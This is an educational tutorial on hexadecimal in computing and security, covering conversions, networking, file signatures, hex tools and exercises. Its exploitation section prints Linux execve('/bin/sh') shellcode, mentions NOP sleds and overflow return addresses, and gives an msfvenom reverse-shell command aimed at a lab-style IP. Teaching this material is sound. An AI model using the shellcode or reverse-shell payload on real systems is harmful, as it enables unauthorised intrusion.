Hexadecimal
Hexadecimal (hex) is a base-16 number system used extensively in computing, networking, and cybersecurity. You'll encounter hex everywhere—IP addresses, MAC addresses, memory addresses, color codes, binary file analysis, shellcode, and packet captures. Understanding hexadecimal is essential for reading packet dumps, analyzing malware, writing exploits, and debugging low-level code.
What You'll Learn
- What hexadecimal is and why it's used
- Converting between decimal, binary, and hex
- Hexadecimal in networking (MAC addresses, IPv6)
- Hex editors and binary analysis
- Hexadecimal in exploitation (shellcode, memory addresses)
- Common hex patterns and tricks
- Tools for working with hex
What Is Hexadecimal?
Hexadecimal (base-16) uses 16 symbols:
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F
Number Systems Comparison:
Decimal (Base-10): 0-9 (10 digits)
Binary (Base-2): 0-1 (2 digits)
Hexadecimal (Base-16): 0-9, A-F (16 digits)
Hex Digits:
Hex → Decimal → Binary
───────────────────────────
0 → 0 → 0000
1 → 1 → 0001
2 → 2 → 0010
3 → 3 → 0011
4 → 4 → 0100
5 → 5 → 0101
6 → 6 → 0110
7 → 7 → 0111
8 → 8 → 1000
9 → 9 → 1001
A → 10 → 1010
B → 11 → 1011
C → 12 → 1100
D → 13 → 1101
E → 14 → 1110
F → 15 → 1111
Why Use Hexadecimal?
1. Compact Representation of Binary
Binary: 11111111 11111111 11111111 11111111
Hex: FF FF FF FF
Much shorter to write!
2. Easy Conversion to/from Binary
Each hex digit = exactly 4 binary bits
1 byte (8 bits) = 2 hex digits
Example:
Binary: 1010 1100
Hex: A C
3. Human-Readable(ish)
Better than long binary strings:
Binary: 101010101111000011110000
Hex: AAF0F0
Still mathematical but more manageable
Converting Between Number Systems
Decimal to Hexadecimal
Method: Divide by 16, track remainders
Example: Convert 255 to hex
255 ÷ 16 = 15 remainder 15 (F)
15 ÷ 16 = 0 remainder 15 (F)
Read remainders bottom to top: FF
255₁₀ = FF₁₆
Another example: 172 to hex
172 ÷ 16 = 10 remainder 12 (C)
10 ÷ 16 = 0 remainder 10 (A)
172₁₀ = AC₁₆
Hexadecimal to Decimal
Method: Multiply each digit by 16^position
Example: Convert 2F to decimal
2F₁₆ = (2 × 16¹) + (F × 16⁰)
= (2 × 16) + (15 × 1)
= 32 + 15
= 47₁₀
Another example: AC to decimal
AC₁₆ = (A × 16¹) + (C × 16⁰)
= (10 × 16) + (12 × 1)
= 160 + 12
= 172₁₀
Binary to Hexadecimal
Method: Group binary into 4-bit chunks, convert each to hex
Example: 11010110 to hex
Split into 4-bit groups:
1101 0110
Convert each:
1101 = D
0110 = 6
11010110₂ = D6₁₆
Another example: 10101111 to hex
1010 1111
A F
10101111₂ = AF₁₆
Hexadecimal to Binary
Method: Convert each hex digit to 4 binary bits
Example: 3A to binary
3 = 0011
A = 1010
3A₁₆ = 00111010₂
Hexadecimal Notation
Prefixes:
0x - C, C++, Java, JavaScript
Example: 0xFF = 255
\x - Python, Ruby, URL encoding
Example: \xFF = 255
% - URL encoding
Example: %20 = space
# - Colors (HTML/CSS)
Example: #FF0000 = red
Examples:
C code:
int value = 0x2A; // 42 in decimal
Python:
value = 0x2A # 42 in decimal
byte_string = b'\x41\x42\x43' # ABC
URL encoding:
%20 = space
%3D = =
%2F = /
Hexadecimal in Networking
1. MAC Addresses
Format: 6 bytes = 12 hex digits
Example: 00:1A:2B:3C:4D:5E
00-1A-2B = Manufacturer (OUI)
3C-4D-5E = Device identifier
Viewing MAC addresses:
# Linux
ip link show
ip addr show
# Windows
ipconfig /all
# macOS
ifconfig
2. IPv6 Addresses
Format: 8 groups of 4 hex digits
Example: 2001:0db8:85a3:0000:0000:8a2e:0370:7334
Shortened: 2001:db8:85a3::8a2e:370:7334
3. Subnet Masks
255.255.255.0 in hex:
FF.FF.FF.00
4. Packet Analysis
Wireshark shows packets in hex:
0000 ff ff ff ff ff ff 00 1a 2b 3c 4d 5e 08 00 45 00
0010 00 3c 1c 46 40 00 40 06 b1 e6 c0 a8 01 64 c0 a8
0020 01 01 00 50 c3 9c 00 00 00 00 a0 02 72 10 fe 30
Reading:
- Left: Offset (hex)
- Middle: Hex bytes
- Right: ASCII representation (if printable)
Hexadecimal in Memory and Exploitation
1. Memory Addresses
32-bit address: 0x00401000
64-bit address: 0x00007fff5fbff710
Always in hex!
2. Shellcode
Example shellcode (Linux x64 execve("/bin/sh")):
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e
\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57
\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05
In Python exploit:
shellcode = b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
shellcode += b"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
shellcode += b"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
3. Buffer Overflow Addresses
Return address: 0xbffff7a0
Little-endian: \xa0\xf7\xff\xbf
Endianness:
Big-endian (network order):
0x12345678 = 12 34 56 78
Little-endian (x86/x64):
0x12345678 = 78 56 34 12
Hexadecimal in Files
1. File Signatures (Magic Bytes)
Common file signatures in hex:
File Type Hex Signature ASCII
──────────────────────────────────────────────────
PNG 89 50 4E 47 .PNG
JPEG FF D8 FF ...
PDF 25 50 44 46 %PDF
ZIP 50 4B 03 04 PK..
EXE 4D 5A MZ
ELF 7F 45 4C 46 .ELF
GIF 47 49 46 38 GIF8
Identifying files:
# View hex of file
xxd file.bin | head
# Check magic bytes
file file.bin
2. Hex Editors
View/edit binary files:
# xxd (hex dump)
xxd file.bin
# Output:
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
# hexdump
hexdump -C file.bin
# od (octal dump, can do hex)
od -A x -t x1z file.bin
# ghex (GUI)
ghex file.bin
# HxD (Windows GUI)
# bless (Linux GUI)
Common Hex Patterns
ASCII Characters:
Hex → ASCII
────────────────
20 → space
30-39 → 0-9
41-5A → A-Z
61-7A → a-z
0A → \n (newline)
0D → \r (carriage return)
00 → NULL
Useful Conversions:
Character → Hex
─────────────────
A → 41
a → 61
0 → 30
Space → 20
! → 21
? → 3F
NOP Sled (x86):
90 90 90 90 90 90 90 90 ...
0x90 = NOP (no operation)
Used in exploits as "landing pad"
Common Memory Values:
0x41414141 = AAAA (buffer overflow testing)
0xdeadbeef = Common test value
0x00000000 = NULL
0xffffffff = -1 or all bits set (32-bit)
Hex Arithmetic
Addition:
2F
+ 1C
────
4B
F + C = 15 + 12 = 27 = 1B (carry 1)
2 + 1 + 1(carry) = 4
Subtraction:
5A
- 2F
────
2B
A - F: Can't do, borrow
1A - F = 26 - 15 = 11 = B
5 - 1(borrowed) - 2 = 2
Hex in URLs and Web
URL Encoding:
Original → URL Encoded
────────────────────────
space → %20
< → %3C
> → %3E
& → %26
" → %22
' → %27
/ → %2F
\ → %5C
Example:
Hello World! → Hello%20World%21
<script> → %3Cscript%3E
HTML/CSS Colors:
#RRGGBB format
Red: #FF0000 (255, 0, 0)
Green: #00FF00 (0, 255, 0)
Blue: #0000FF (0, 0, 255)
White: #FFFFFF (255, 255, 255)
Black: #000000 (0, 0, 0)
Gray: #808080 (128, 128, 128)
Hex Encoding/Decoding Tools
Command Line:
# Encode string to hex (Linux)
echo -n "Hello" | xxd -p
# Output: 48656c6c6f
# Decode hex to string
echo "48656c6c6f" | xxd -r -p
# Output: Hello
# Python one-liner encode
python3 -c "print('Hello'.encode('hex'))" # Python 2
python3 -c "print('Hello'.encode().hex())" # Python 3
# Python one-liner decode
python3 -c "print(bytes.fromhex('48656c6c6f').decode())"
# Output: Hello
Python:
# String to hex
text = "Hello"
hex_string = text.encode().hex()
print(hex_string) # 48656c6c6f
# Hex to string
hex_string = "48656c6c6f"
text = bytes.fromhex(hex_string).decode()
print(text) # Hello
# Byte array
data = b"\x48\x65\x6c\x6c\x6f"
print(data) # b'Hello'
# Individual conversions
hex(255) # '0xff'
int('FF', 16) # 255
Online Tools:
- CyberChef - "From Hex", "To Hex"
- Hex to ASCII converter
Hex in Security Tools
1. Wireshark
View → Decode As → Show as hex
Or: Right-click packet → Show Packet Bytes
2. Metasploit
# Generate shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f hex
# Output in hex format
3. GDB (Debugger)
# Examine memory in hex
x/16x 0x00401000
# Show as hex bytes
x/s 0x00401000
4. Scapy (Python)
from scapy.all import *
# Create packet, view as hex
pkt = IP(dst="8.8.8.8")/ICMP()
hexdump(pkt)
Try It Yourself
Exercise 1: Convert Numbers
Convert these:
Decimal to Hex:
- 16 = ?
- 255 = ?
- 192 = ?
Hex to Decimal:
- 0x10 = ?
- 0xAB = ?
- 0xFF = ?
Answers
16 = 0x10 = 10₁₆
255 = 0xFF
192 = 0xC0
0x10 = 16
0xAB = 171
0xFF = 255
Exercise 2: Decode Hex String
48 65 6c 6c 6f 20 57 6f 72 6c 64 21
What does this say?
# Use Python
python3 -c "print(bytes.fromhex('48656c6c6f20576f726c6421').decode())"
Answer
"Hello World!"
Exercise 3: Find File Type
89 50 4E 47 0D 0A 1A 0A
What file type is this?
Answer
PNG image (magic bytes)
Exercise 4: MAC Address
Your MAC address in hex:
# View your MAC
ip link show # Linux
ipconfig /all # Windows
# Example: 00:1a:2b:3c:4d:5e
# What's the manufacturer?
# Look up OUI: 00:1a:2b
Hex Cheat Sheet
Decimal Hex Binary
──────────────────────
0 0 0000
1 1 0001
2 2 0010
3 3 0011
4 4 0100
5 5 0101
6 6 0110
7 7 0111
8 8 1000
9 9 1001
10 A 1010
11 B 1011
12 C 1100
13 D 1101
14 E 1110
15 F 1111
16 10 0001 0000
255 FF 1111 1111
Quick Conversions
# Decimal to hex
printf "%x\n" 255
# Output: ff
# Hex to decimal
echo $((0xFF))
# Output: 255
# Python
python3 -c "print(hex(255))" # 0xff
python3 -c "print(int('FF', 16))" # 255
# Calculator (bc)
echo "obase=16; 255" | bc # FF
echo "ibase=16; FF" | bc # 255
Resources
Tools:
- xxd: Hex dump/reverse
- hexdump: Display hex
- ghex: GUI hex editor (Linux)
- HxD: GUI hex editor (Windows)
- 010 Editor: Advanced hex editor
- CyberChef: Online hex operations
Reading:
Practice:
- Convert between number systems daily
- Analyze packet captures in Wireshark
- Read binary files with hex editors
- Write simple Python scripts using hex
Next Steps
- Practice conversions until they're automatic
- Use hex editors to examine binary files
- Analyze packets in Wireshark (hex view)
- Study shellcode and how it's represented
- Learn assembly (opcodes are in hex)
Hexadecimal is the language of low-level computing. Master it, and you'll be comfortable with packet analysis, exploit development, reverse engineering, and debugging!
"Hex: 0x4265206F6E652077697468207468652030783030" (Be one with the 0x00)